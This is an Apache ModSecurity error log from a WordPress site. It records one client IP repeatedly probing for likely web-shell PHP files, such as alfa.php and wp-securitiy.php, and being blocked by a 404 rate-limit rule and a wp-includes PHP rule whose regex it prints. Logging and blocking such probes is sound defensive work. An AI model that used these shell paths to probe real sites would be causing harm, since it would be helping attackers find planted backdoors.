[Tue Mar 24 05:36:27.348775 2026] [:error] [pid 3032:tid 3125] [client 172.213.136.15:21392] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "acGyWya_-JXXD03-JNzF8wAAAJY"]
[Tue Mar 24 05:36:28.385354 2026] [:error] [pid 3031:tid 3100] [client 172.213.136.15:37063] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-ana.php"] [unique_id "acGyXKJBKytnG47nuibaCAAAAFg"]
[Tue Mar 24 05:36:29.942636 2026] [:error] [pid 3031:tid 3094] [client 172.213.136.15:29297] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-ana.php"] [unique_id "acGyXaJBKytnG47nuibaEAAAAFI"]
[Tue Mar 24 05:36:30.587575 2026] [:error] [pid 3030:tid 3063] [client 172.213.136.15:36834] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-ana.php"] [unique_id "acGyXgyOuILyynfcqfn08wAAAA4"]
[Tue Mar 24 05:36:31.552397 2026] [:error] [pid 3032:tid 3122] [client 172.213.136.15:29799] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-ana.php"] [unique_id "acGyXya_-JXXD03-JNzF9wAAAJM"]
[Tue Mar 24 05:36:35.532678 2026] [:error] [pid 38767:tid 38786] [client 172.213.136.15:25752] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-securitiy.php"] [unique_id "acGyY_wkUqN4GJAI5oV0bgAAARA"]
[Tue Mar 24 05:36:37.054738 2026] [:error] [pid 3137:tid 3144] [client 172.213.136.15:21085] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-securitiy.php"] [unique_id "acGyZZdZesutm6dfYM_gVwAAAMU"]
[Tue Mar 24 05:36:38.445458 2026] [:error] [pid 3032:tid 3105] [client 172.213.136.15:7157] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-securitiy.php"] [unique_id "acGyZia_-JXXD03-JNzF-wAAAII"]
[Tue Mar 24 05:36:55.619858 2026] [:error] [pid 3137:tid 3158] [client 172.213.136.15:41459] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/end.php"] [unique_id "acGyd5dZesutm6dfYM_gowAAANM"]
[Tue Mar 24 05:36:56.489194 2026] [:error] [pid 38767:tid 38783] [client 172.213.136.15:26099] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/end.php"] [unique_id "acGyePwkUqN4GJAI5oV0pwAAAQ0"]
[Tue Mar 24 05:36:57.442549 2026] [:error] [pid 3032:tid 3113] [client 172.213.136.15:7123] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/end.php"] [unique_id "acGyeSa_-JXXD03-JNzGGQAAAIo"]
[Tue Mar 24 05:37:14.265222 2026] [:error] [pid 3030:tid 3065] [client 172.213.136.15:7112] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "acGyigyOuILyynfcqfn1GAAAABA"]
[Tue Mar 24 05:37:15.278076 2026] [:error] [pid 38767:tid 38789] [client 172.213.136.15:27587] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "acGyi_wkUqN4GJAI5oV1FgAAARM"]
[Tue Mar 24 05:37:16.661999 2026] [:error] [pid 38767:tid 38772] [client 172.213.136.15:38396] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "acGyjPwkUqN4GJAI5oV1HAAAAQI"]
[Tue Mar 24 05:37:17.526400 2026] [:error] [pid 3032:tid 3128] [client 172.213.136.15:6495] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "acGyjSa_-JXXD03-JNzGNQAAAJg"]
[Tue Mar 24 05:37:18.541199 2026] [:error] [pid 38767:tid 38773] [client 172.213.136.15:25932] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/503.php"] [unique_id "acGyjvwkUqN4GJAI5oV1IQAAAQM"]
[Tue Mar 24 05:37:19.731674 2026] [:error] [pid 3032:tid 3114] [client 172.213.136.15:6496] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/503.php"] [unique_id "acGyjya_-JXXD03-JNzGOgAAAIs"]
[Tue Mar 24 05:37:20.916784 2026] [:error] [pid 38767:tid 38784] [client 172.213.136.15:44586] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/503.php"] [unique_id "acGykPwkUqN4GJAI5oV1JAAAAQ4"]
[Tue Mar 24 05:37:22.028936 2026] [:error] [pid 3030:tid 3067] [client 172.213.136.15:31006] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/503.php"] [unique_id "acGykgyOuILyynfcqfn1IAAAABI"]
[Tue Mar 24 05:37:23.427105 2026] [:error] [pid 3031:tid 3076] [client 172.213.136.15:32139] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/index.php"] [unique_id "acGyk6JBKytnG47nuibaVQAAAEA"]
[Tue Mar 24 05:37:24.287498 2026] [:error] [pid 3032:tid 3128] [client 172.213.136.15:36764] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/index.php"] [unique_id "acGylCa_-JXXD03-JNzGPwAAAJg"]
[Tue Mar 24 05:37:26.719916 2026] [:error] [pid 38767:tid 38793] [client 172.213.136.15:21275] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/index.php"] [unique_id "acGylvwkUqN4GJAI5oV1LwAAARc"]
[Tue Mar 24 05:37:28.324019 2026] [:error] [pid 3030:tid 3062] [client 172.213.136.15:22431] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/index.php"] [unique_id "acGymAyOuILyynfcqfn1IwAAAA0"]
[Tue Mar 24 05:37:29.710294 2026] [:error] [pid 3030:tid 3060] [client 172.213.136.15:32138] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ay.php"] [unique_id "acGymQyOuILyynfcqfn1JQAAAAs"]
[Tue Mar 24 05:37:31.097817 2026] [:error] [pid 3030:tid 3056] [client 172.213.136.15:27590] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ay.php"] [unique_id "acGymwyOuILyynfcqfn1KQAAAAc"]
[Tue Mar 24 05:37:32.961732 2026] [:error] [pid 38767:tid 38794] [client 172.213.136.15:31035] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ay.php"] [unique_id "acGynPwkUqN4GJAI5oV1MgAAARg"]
[Tue Mar 24 05:37:34.389282 2026] [:error] [pid 38767:tid 38790] [client 172.213.136.15:20890] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ay.php"] [unique_id "acGynvwkUqN4GJAI5oV1MwAAARQ"]
[Tue Mar 24 05:37:36.162647 2026] [:error] [pid 3137:tid 3158] [client 172.213.136.15:7140] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rendi59.php"] [unique_id "acGyoJdZesutm6dfYM_g5AAAANM"]
[Tue Mar 24 05:37:37.462807 2026] [:error] [pid 38767:tid 38786] [client 172.213.136.15:38375] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rendi59.php"] [unique_id "acGyofwkUqN4GJAI5oV1NgAAARA"]
[Tue Mar 24 05:37:39.076756 2026] [:error] [pid 38767:tid 38781] [client 172.213.136.15:21250] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rendi59.php"] [unique_id "acGyo_wkUqN4GJAI5oV1OQAAAQs"]
[Tue Mar 24 05:37:40.228695 2026] [:error] [pid 38767:tid 38793] [client 172.213.136.15:6466] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rendi59.php"] [unique_id "acGypPwkUqN4GJAI5oV1PAAAARc"]
[Tue Mar 24 05:37:41.294126 2026] [:error] [pid 3137:tid 3148] [client 172.213.136.15:28732] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ha.php"] [unique_id "acGypZdZesutm6dfYM_g6AAAAMk"]
[Tue Mar 24 05:37:42.744508 2026] [:error] [pid 3137:tid 3156] [client 172.213.136.15:28696] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ha.php"] [unique_id "acGyppdZesutm6dfYM_g7AAAANE"]
[Tue Mar 24 05:37:45.364776 2026] [:error] [pid 38767:tid 38789] [client 172.213.136.15:21270] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ha.php"] [unique_id "acGyqfwkUqN4GJAI5oV1QgAAARM"]
[Tue Mar 24 05:37:46.308932 2026] [:error] [pid 38767:tid 38774] [client 172.213.136.15:22406] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ha.php"] [unique_id "acGyqvwkUqN4GJAI5oV1RQAAAQQ"]
[Tue Mar 24 05:37:47.635770 2026] [:error] [pid 3032:tid 3125] [client 172.213.136.15:23826] [client 172.213.136.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/themes.php"] [unique_id "acGyqya_-JXXD03-JNzGUgAAAJY"]
[Tue Mar 24 05:37:48.903177 2026] [:error] [pid 38767:tid 38792] [client 172.213.136.15:21252] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cjfuns.php"] [unique_id "acGyrPwkUqN4GJAI5oV1SwAAARY"]
[Tue Mar 24 05:37:50.354979 2026] [:error] [pid 38767:tid 38770] [client 172.213.136.15:7123] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cjfuns.php"] [unique_id "acGyrvwkUqN4GJAI5oV1TgAAAQA"]
[Tue Mar 24 05:37:52.335634 2026] [:error] [pid 38767:tid 38786] [client 172.213.136.15:28709] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cjfuns.php"] [unique_id "acGysPwkUqN4GJAI5oV1UQAAARA"]
[Tue Mar 24 05:37:53.179599 2026] [:error] [pid 3137:tid 3155] [client 172.213.136.15:23821] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cjfuns.php"] [unique_id "acGysZdZesutm6dfYM_g9AAAANA"]
[Tue Mar 24 05:38:12.175100 2026] [:error] [pid 3137:tid 3153] [client 172.213.136.15:24749] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/monso.php"] [unique_id "acGyxJdZesutm6dfYM_hFQAAAM4"]
[Tue Mar 24 05:38:13.075907 2026] [:error] [pid 3137:tid 3152] [client 172.213.136.15:27043] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/monso.php"] [unique_id "acGyxZdZesutm6dfYM_hFgAAAM0"]
[Tue Mar 24 05:38:14.532300 2026] [:error] [pid 3030:tid 3070] [client 172.213.136.15:23562] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/monso.php"] [unique_id "acGyxgyOuILyynfcqfn1RQAAABU"]
[Tue Mar 24 05:38:15.660851 2026] [:error] [pid 3030:tid 3063] [client 172.213.136.15:6211] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/monso.php"] [unique_id "acGyxwyOuILyynfcqfn1RwAAAA4"]
[Tue Mar 24 05:38:16.652592 2026] [:error] [pid 38767:tid 38774] [client 172.213.136.15:25957] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hq.php"] [unique_id "acGyyPwkUqN4GJAI5oV1gQAAAQQ"]
[Tue Mar 24 05:38:17.933571 2026] [:error] [pid 3137:tid 3150] [client 172.213.136.15:32160] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hq.php"] [unique_id "acGyyZdZesutm6dfYM_hHAAAAMs"]
[Tue Mar 24 05:38:19.613209 2026] [:error] [pid 3137:tid 3147] [client 172.213.136.15:20873] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hq.php"] [unique_id "acGyy5dZesutm6dfYM_hHgAAAMg"]
[Tue Mar 24 05:38:20.925642 2026] [:error] [pid 3030:tid 3072] [client 172.213.136.15:33273] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hq.php"] [unique_id "acGyzAyOuILyynfcqfn1SgAAABc"]
[Tue Mar 24 05:38:22.200987 2026] [:error] [pid 3030:tid 3067] [client 172.213.136.15:44552] [client 172.213.136.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/Text/admin.php"] [unique_id "acGyzgyOuILyynfcqfn1TQAAABI"]
[Tue Mar 24 05:38:23.498180 2026] [:error] [pid 3031:tid 3077] [client 172.213.136.15:23613] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-eux6r.php"] [unique_id "acGyz6JBKytnG47nuibaiQAAAEE"]
[Tue Mar 24 05:38:25.125457 2026] [:error] [pid 3030:tid 3064] [client 172.213.136.15:26496] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-eux6r.php"] [unique_id "acGy0QyOuILyynfcqfn1TwAAAA8"]
[Tue Mar 24 05:38:26.205057 2026] [:error] [pid 38767:tid 38772] [client 172.213.136.15:22251] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-eux6r.php"] [unique_id "acGy0vwkUqN4GJAI5oV1hwAAAQI"]
[Tue Mar 24 05:38:28.970574 2026] [:error] [pid 38767:tid 38778] [client 172.213.136.15:32151] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-eux6r.php"] [unique_id "acGy1PwkUqN4GJAI5oV1jAAAAQg"]
[Tue Mar 24 05:38:30.290000 2026] [:error] [pid 38767:tid 38791] [client 172.213.136.15:22544] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pwyjwrfr.php"] [unique_id "acGy1vwkUqN4GJAI5oV1jgAAARU"]
[Tue Mar 24 05:38:31.227384 2026] [:error] [pid 3032:tid 3128] [client 172.213.136.15:22065] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pwyjwrfr.php"] [unique_id "acGy1ya_-JXXD03-JNzGfwAAAJg"]
[Tue Mar 24 05:38:33.277347 2026] [:error] [pid 3032:tid 3105] [client 172.213.136.15:33241] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pwyjwrfr.php"] [unique_id "acGy2Sa_-JXXD03-JNzGgQAAAII"]
